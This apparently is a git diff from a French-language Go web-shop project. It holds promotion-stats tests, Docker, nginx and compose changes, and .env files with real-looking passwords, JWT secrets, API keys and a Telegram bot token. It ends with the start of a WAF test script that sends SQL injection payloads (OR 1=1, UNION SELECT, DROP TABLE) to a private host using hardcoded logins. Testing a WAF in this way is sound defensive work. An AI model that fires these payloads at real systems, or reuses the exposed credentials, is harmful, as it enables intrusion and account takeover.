username := newTestClient(t, "stats_promo_reset")
|
|
||||||
productID := newTestProduct(t, "StatsPromoReset", 20)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.PromotionsEnabled = true
|
|
||||||
s.Promotions = []models.CategoryPromotionConfig{
|
|
||||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
|
||||||
}
|
|
||||||
approveTestCommand(t, cmd.ID)
|
|
||||||
|
|
||||||
// Un reset postérieur à la création de la commande doit l'exclure — sert
|
|
||||||
// aussi à vérifier que la jointure command_items/commandes qualifie bien
|
|
||||||
// created_at par l'alias (les deux tables ont une colonne created_at,
|
|
||||||
// donc une clause non qualifiée provoquerait une erreur Postgres
|
|
||||||
// "ambiguous column" plutôt qu'un mauvais résultat).
|
|
||||||
future := time.Now().Add(time.Hour)
|
|
||||||
total, err := testDB.TotalPromoDiscount(future)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
|
||||||
}
|
|
||||||
if total != 0 {
|
|
||||||
t.Errorf("commande antérieure au reset: doit être exclue: got=%.2f want=0", total)
|
|
||||||
}
|
|
||||||
|
|
||||||
count, err := testDB.PromoOrdersCount(future)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("PromoOrdersCount: %v", err)
|
|
||||||
}
|
|
||||||
if count != 0 {
|
|
||||||
t.Errorf("commande antérieure au reset: doit être exclue: got=%d want=0", count)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Une commande avec plusieurs lignes en promo ne doit compter qu'une fois
|
|
||||||
// dans PromoOrdersCount (COUNT DISTINCT command_id), mais le montant total
|
|
||||||
// doit sommer toutes les lignes.
|
|
||||||
func TestPromoOrdersCount_CountsOrderOnceDespiteMultipleDiscountedItems(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "stats_promo_multi")
|
|
||||||
productA := newTestProduct(t, "StatsPromoMultiA", 20)
|
|
||||||
productB := newTestProduct(t, "StatsPromoMultiB", 20)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.PromotionsEnabled = true
|
|
||||||
s.Promotions = []models.CategoryPromotionConfig{
|
|
||||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := testDB.AddToBasket(username, productA, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket A: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := testDB.AddToBasket(username, productB, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket B: %v", err)
|
|
||||||
}
|
|
||||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
|
||||||
}
|
|
||||||
approveTestCommand(t, cmd.ID)
|
|
||||||
|
|
||||||
count, err := testDB.PromoOrdersCount(time.Time{})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("PromoOrdersCount: %v", err)
|
|
||||||
}
|
|
||||||
if count != 1 {
|
|
||||||
t.Errorf("une commande avec 2 lignes en promo doit compter une seule fois: got=%d want=1", count)
|
|
||||||
}
|
|
||||||
|
|
||||||
total, err := testDB.TotalPromoDiscount(time.Time{})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
|
||||||
}
|
|
||||||
if total != 4.0 {
|
|
||||||
t.Errorf("le montant total doit sommer les deux lignes: got=%.2f want=4.00 (2×2€)", total)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestPromoOrdersCount_IgnoresOrdersWithoutDiscount(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "stats_promo_zero")
|
|
||||||
productID := newTestProduct(t, "StatsPromoZero", 20)
|
|
||||||
// Aucune promotion configurée : promo_discount reste à 0 pour cette commande.
|
|
||||||
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
|
||||||
}
|
|
||||||
approveTestCommand(t, cmd.ID)
|
|
||||||
|
|
||||||
count, err := testDB.PromoOrdersCount(time.Time{})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("PromoOrdersCount: %v", err)
|
|
||||||
}
|
|
||||||
if count != 0 {
|
|
||||||
t.Errorf("aucune commande sans promo ne doit être comptée: got=%d want=0", count)
|
|
||||||
}
|
|
||||||
total, err := testDB.TotalPromoDiscount(time.Time{})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
|
||||||
}
|
|
||||||
if total != 0 {
|
|
||||||
t.Errorf("aucun montant économisé sans promo: got=%.2f want=0", total)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
DB_HOST=postgres
|
DB_HOST=postgres
|
||||||
DB_PORT=5432
|
DB_PORT=5432
|
||||||
DB_USER=postgres
|
DB_USER=postgres
|
||||||
DB_PASSWORD=1SWDxH20rV7K2Uc2PNlwCaCxfVZEtKomF0CK9OMh
|
DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420
|
||||||
DB_NAME=gestion_db
|
DB_NAME=gestion_db
|
||||||
DB_SSLMODE=disable
|
DB_SSLMODE=disable
|
||||||
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
|
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
|
||||||
@@ -9,7 +9,7 @@ USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU
|
|||||||
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
|
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
|
||||||
REDIS_HOST=redis
|
REDIS_HOST=redis
|
||||||
REDIS_PORT=6379
|
REDIS_PORT=6379
|
||||||
REDIS_PASSWORD=k6UYX9RtuXJVV1HUeefbSukMcSwjvVgRsh2qJGPh
|
REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji
|
||||||
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
||||||
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
|
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
|
||||||
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
|
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
|
||||||
@@ -24,3 +24,11 @@ BACKEND_LINK_SECRET=change_me_internal_secret
|
|||||||
API_PORT=8080
|
API_PORT=8080
|
||||||
FRONTEND_PORT=5173
|
FRONTEND_PORT=5173
|
||||||
GIN_MODE=release
|
GIN_MODE=release
|
||||||
|
# STORAGE_DRIVER=local (defaut, stockage disque via le volume backend_uploads) ou s3 (RustFS)
|
||||||
|
STORAGE_DRIVER=local
|
||||||
|
# Requis uniquement si STORAGE_DRIVER=s3
|
||||||
|
S3_REGION=us-east-1
|
||||||
|
S3_BUCKET=
|
||||||
|
S3_ENDPOINT=
|
||||||
|
RUSTFS_ACCESS_KEY=
|
||||||
|
RUSTFS_SECRET_KEY=
|
||||||
@@ -13,7 +13,7 @@ BOT2_USERNAME=rezDJDFJSFUltraFast_bot
|
|||||||
BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi
|
BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi
|
||||||
|
|
||||||
# URL publique de la gateway (pour setWebhook Telegram)
|
# URL publique de la gateway (pour setWebhook Telegram)
|
||||||
GATEWAY_URL=https://demo-uber.club
|
GATEWAY_URL=https://uber-demo.club
|
||||||
|
|
||||||
# JWT
|
# JWT
|
||||||
JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ
|
JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ
|
||||||
@@ -42,7 +42,7 @@ COPY --from=builder /app/server .
|
|||||||
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
||||||
|
|
||||||
# Copier l'entrypoint
|
# Copier l'entrypoint
|
||||||
COPY docker-prod/backend/entrypoint.sh .
|
COPY docker-pre-prod/backend/entrypoint.sh .
|
||||||
RUN chmod +x entrypoint.sh
|
RUN chmod +x entrypoint.sh
|
||||||
|
|
||||||
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
||||||
@@ -66,8 +66,8 @@ USER root
|
|||||||
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
||||||
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
||||||
|
|
||||||
COPY docker-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
COPY docker-pre-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||||
COPY docker-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
COPY docker-pre-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||||
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
||||||
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
||||||
|
|
||||||
@@ -141,20 +141,6 @@ server {
|
|||||||
proxy_set_header X-Forwarded-Proto $scheme;
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
}
|
}
|
||||||
|
|
||||||
location = /webhook/nowpayement {
|
|
||||||
limit_except POST { deny all; }
|
|
||||||
|
|
||||||
set $upstream_backend http://backend:8080;
|
|
||||||
proxy_pass $upstream_backend;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Connection "";
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Forwarded-Proto $scheme;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
# ---------------------------------------------------
|
||||||
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
|
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
|
||||||
# ---------------------------------------------------
|
# ---------------------------------------------------
|
||||||
@@ -3,7 +3,7 @@ services:
|
|||||||
# Backend Go
|
# Backend Go
|
||||||
# =========================================================
|
# =========================================================
|
||||||
backend:
|
backend:
|
||||||
image: xor1234/backend-mln:latest
|
image: xor1234/backend-mln:pre-prod
|
||||||
container_name: gestion-backend
|
container_name: gestion-backend
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
environment:
|
environment:
|
||||||
@@ -35,15 +35,22 @@ services:
|
|||||||
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
|
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
|
||||||
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
|
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
|
||||||
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
|
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
|
||||||
|
- STORAGE_DRIVER=${STORAGE_DRIVER:-local}
|
||||||
volumes:
|
volumes:
|
||||||
- backend_uploads:/app/uploads
|
- backend_uploads:/app/uploads
|
||||||
networks:
|
networks:
|
||||||
- gestion-network
|
- gestion-network
|
||||||
|
depends_on:
|
||||||
|
postgres:
|
||||||
|
condition: service_healthy
|
||||||
|
redis:
|
||||||
|
condition: service_healthy
|
||||||
|
|
||||||
# =========================================================
|
# =========================================================
|
||||||
# Frontend Web (React/Vite — servi en HTTP interne)
|
# Frontend Web (React/Vite — servi en HTTP interne)
|
||||||
# =========================================================
|
# =========================================================
|
||||||
frontend:
|
frontend:
|
||||||
image: xor1234/frontend-mln:latest
|
image: xor1234/frontend-mln:pre-prod
|
||||||
container_name: gestion-frontend
|
container_name: gestion-frontend
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
networks:
|
networks:
|
||||||
@@ -52,7 +59,7 @@ services:
|
|||||||
- backend
|
- backend
|
||||||
|
|
||||||
waf:
|
waf:
|
||||||
image: xor1234/backend-mln:waf
|
image: xor1234/backend-mln:waf-pre-prod
|
||||||
container_name: gestion-waf
|
container_name: gestion-waf
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
environment:
|
environment:
|
||||||
@@ -77,6 +84,66 @@ services:
|
|||||||
- backend
|
- backend
|
||||||
- frontend
|
- frontend
|
||||||
|
|
||||||
|
# =========================================================
|
||||||
|
# PostgreSQL
|
||||||
|
# =========================================================
|
||||||
|
postgres:
|
||||||
|
image: postgres:16-alpine
|
||||||
|
container_name: gestion-postgres
|
||||||
|
restart: unless-stopped
|
||||||
|
environment:
|
||||||
|
- POSTGRES_USER=${DB_USER:-postgres}
|
||||||
|
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||||
|
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||||
|
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||||
|
volumes:
|
||||||
|
- postgres_data:/var/lib/postgresql/data
|
||||||
|
networks:
|
||||||
|
- gestion-network
|
||||||
|
healthcheck:
|
||||||
|
test:
|
||||||
|
[
|
||||||
|
"CMD-SHELL",
|
||||||
|
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||||
|
]
|
||||||
|
interval: 10s
|
||||||
|
timeout: 5s
|
||||||
|
retries: 5
|
||||||
|
start_period: 10s
|
||||||
|
|
||||||
|
# =========================================================
|
||||||
|
# Redis
|
||||||
|
# =========================================================
|
||||||
|
redis:
|
||||||
|
image: redis:7-alpine
|
||||||
|
container_name: gestion-redis
|
||||||
|
restart: unless-stopped
|
||||||
|
command: >
|
||||||
|
redis-server
|
||||||
|
--requirepass ${REDIS_PASSWORD}
|
||||||
|
--appendonly yes
|
||||||
|
--appendfsync everysec
|
||||||
|
--maxmemory 256mb
|
||||||
|
--maxmemory-policy allkeys-lru
|
||||||
|
volumes:
|
||||||
|
- redis_data:/data
|
||||||
|
networks:
|
||||||
|
- gestion-network
|
||||||
|
healthcheck:
|
||||||
|
test:
|
||||||
|
[
|
||||||
|
"CMD",
|
||||||
|
"redis-cli",
|
||||||
|
"--no-auth-warning",
|
||||||
|
"-a",
|
||||||
|
"${REDIS_PASSWORD}",
|
||||||
|
"ping",
|
||||||
|
]
|
||||||
|
interval: 10s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 5
|
||||||
|
start_period: 10s
|
||||||
|
|
||||||
# =========================================================
|
# =========================================================
|
||||||
# LBTelegram — Gateway Telegram load balancer
|
# LBTelegram — Gateway Telegram load balancer
|
||||||
# =========================================================
|
# =========================================================
|
||||||
@@ -16,7 +16,7 @@ RUN npm run build
|
|||||||
# =========================================================
|
# =========================================================
|
||||||
FROM nginx:alpine AS runtime
|
FROM nginx:alpine AS runtime
|
||||||
|
|
||||||
COPY docker-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
COPY docker-pre-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
||||||
|
|
||||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||||
|
|
||||||
Executable
+610
@@ -0,0 +1,610 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
|
||||||
|
# =============================================================================
|
||||||
|
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
|
||||||
|
# Usage: ./test-rules.sh
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
# Couleurs pour l'affichage
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
PURPLE='\033[0;35m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
BOLD='\033[1m'
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
API_BASE_URL="http://172.20.167.237"
|
||||||
|
|
||||||
|
# Credentials Client
|
||||||
|
CLIENT_USERNAME="salut"
|
||||||
|
CLIENT_PASSWORD="salut1234_"
|
||||||
|
CLIENT_TOKEN=""
|
||||||
|
|
||||||
|
# Credentials Admin
|
||||||
|
ADMIN_USERNAME="admin_1768505094"
|
||||||
|
ADMIN_PASSWORD="AdminPass123!"
|
||||||
|
ADMIN_TOKEN=""
|
||||||
|
|
||||||
|
TOTAL_TESTS=0
|
||||||
|
PASSED_TESTS=0
|
||||||
|
FAILED_TESTS=0
|
||||||
|
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Fonctions Utilitaires
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
print_header() {
|
||||||
|
echo -e "\n${BOLD}${CYAN}========================================${NC}"
|
||||||
|
echo -e "${BOLD}${CYAN}$1${NC}"
|
||||||
|
echo -e "${BOLD}${CYAN}========================================${NC}\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_section() {
|
||||||
|
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_test() {
|
||||||
|
echo -e "${YELLOW}[TEST] $1${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_success() {
|
||||||
|
((PASSED_TESTS++))
|
||||||
|
((TOTAL_TESTS++))
|
||||||
|
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_fail() {
|
||||||
|
((FAILED_TESTS++))
|
||||||
|
((TOTAL_TESTS++))
|
||||||
|
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_info() {
|
||||||
|
echo -e "${CYAN}ℹ INFO${NC} - $1"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_warning() {
|
||||||
|
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_response() {
|
||||||
|
echo -e "${PURPLE}📄 Response:${NC} $1"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fonction pour effectuer une requête HTTP avec token client
|
||||||
|
http_test_client() {
|
||||||
|
local method=$1
|
||||||
|
local endpoint=$2
|
||||||
|
local data=$3
|
||||||
|
local expected_code=$4
|
||||||
|
local description=$5
|
||||||
|
local extra_headers=$6
|
||||||
|
|
||||||
|
print_test "$description"
|
||||||
|
|
||||||
|
if [ -z "$data" ]; then
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
else
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
-d "$data" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq "$expected_code" ]; then
|
||||||
|
print_success "$description (HTTP $http_code)"
|
||||||
|
else
|
||||||
|
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||||
|
print_response "$body"
|
||||||
|
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||||
|
echo "Response: $body" >> "$LOG_FILE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep 0.5
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fonction pour effectuer une requête HTTP avec token admin
|
||||||
|
http_test_admin() {
|
||||||
|
local method=$1
|
||||||
|
local endpoint=$2
|
||||||
|
local data=$3
|
||||||
|
local expected_code=$4
|
||||||
|
local description=$5
|
||||||
|
local extra_headers=$6
|
||||||
|
|
||||||
|
print_test "$description"
|
||||||
|
|
||||||
|
if [ -z "$data" ]; then
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
else
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
$extra_headers \
|
||||||
|
-d "$data" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq "$expected_code" ]; then
|
||||||
|
print_success "$description (HTTP $http_code)"
|
||||||
|
echo "$body"
|
||||||
|
else
|
||||||
|
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||||
|
print_response "$body"
|
||||||
|
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||||
|
echo "Response: $body" >> "$LOG_FILE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep 0.5
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fonction pour effectuer une requête HTTP sans authentification
|
||||||
|
http_test_no_auth() {
|
||||||
|
local method=$1
|
||||||
|
local endpoint=$2
|
||||||
|
local data=$3
|
||||||
|
local expected_code=$4
|
||||||
|
local description=$5
|
||||||
|
|
||||||
|
print_test "$description"
|
||||||
|
|
||||||
|
if [ -z "$data" ]; then
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
else
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "$data" \
|
||||||
|
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq "$expected_code" ]; then
|
||||||
|
print_success "$description (HTTP $http_code)"
|
||||||
|
else
|
||||||
|
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||||
|
print_response "$body"
|
||||||
|
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||||
|
echo "Response: $body" >> "$LOG_FILE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep 0.5
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Authentification
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
authenticate() {
|
||||||
|
print_header "AUTHENTIFICATION"
|
||||||
|
|
||||||
|
# ==================== CLIENT LOGIN ====================
|
||||||
|
print_section "1. Login Client"
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
|
||||||
|
"${API_BASE_URL}/api/v1/auth/login")
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq 200 ]; then
|
||||||
|
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||||
|
if [ -n "$CLIENT_TOKEN" ]; then
|
||||||
|
print_success "Login Client réussi - Token obtenu"
|
||||||
|
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
|
||||||
|
else
|
||||||
|
print_fail "Login Client réussi mais token non trouvé"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
print_fail "Échec du login Client (HTTP $http_code)"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ==================== ADMIN LOGIN ====================
|
||||||
|
print_section "2. Login Admin"
|
||||||
|
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
|
||||||
|
"${API_BASE_URL}/api/v2/admin/auth/login")
|
||||||
|
|
||||||
|
http_code=$(echo "$response" | tail -n1)
|
||||||
|
body=$(echo "$response" | sed '$d')
|
||||||
|
|
||||||
|
if [ "$http_code" -eq 200 ]; then
|
||||||
|
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||||
|
if [ -n "$ADMIN_TOKEN" ]; then
|
||||||
|
print_success "Login Admin réussi - Token obtenu"
|
||||||
|
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
|
||||||
|
else
|
||||||
|
print_fail "Login Admin réussi mais token non trouvé"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
print_fail "Échec du login Admin (HTTP $http_code)"
|
||||||
|
print_response "$body"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Tests SQL Injection
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
test_sql_injection() {
|
||||||
|
print_header "TESTS SQL INJECTION"
|
||||||
|
|
||||||
|
print_section "1. SQL Injection - Login"
|
||||||
|
|
||||||
|
# Test 1: SQL Injection classique dans login client
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||||
|
403 "SQLi - Login Client OR 1=1"
|
||||||
|
|
||||||
|
# Test 2: SQL Injection dans login admin
|
||||||
|
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
|
||||||
|
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||||
|
403 "SQLi - Login Admin OR 1=1"
|
||||||
|
|
||||||
|
# Test 3: SQL Injection avec UNION
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
|
||||||
|
403 "SQLi - UNION SELECT"
|
||||||
|
|
||||||
|
# Test 4: SQL Injection avec DROP TABLE
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
|
||||||
|
403 "SQLi - DROP TABLE"
|
||||||
|
|
||||||
|
# Test 5: SQL Injection avec commentaire
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\''--","password":"test"}' \
|
||||||
|
403 "SQLi - Commentaire SQL --"
|
||||||
|
|
||||||
|
print_section "2. SQL Injection - Panier"
|
||||||
|
|
||||||
|
